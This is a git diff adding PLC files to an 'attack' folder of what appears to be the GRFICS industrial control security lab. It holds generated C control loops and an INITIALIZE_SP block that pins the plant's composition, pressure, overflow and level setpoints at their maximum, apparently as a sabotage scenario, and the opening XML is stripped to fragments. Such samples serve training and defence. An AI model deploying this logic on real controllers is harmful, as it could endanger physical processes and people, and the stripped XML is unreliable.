+ + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + 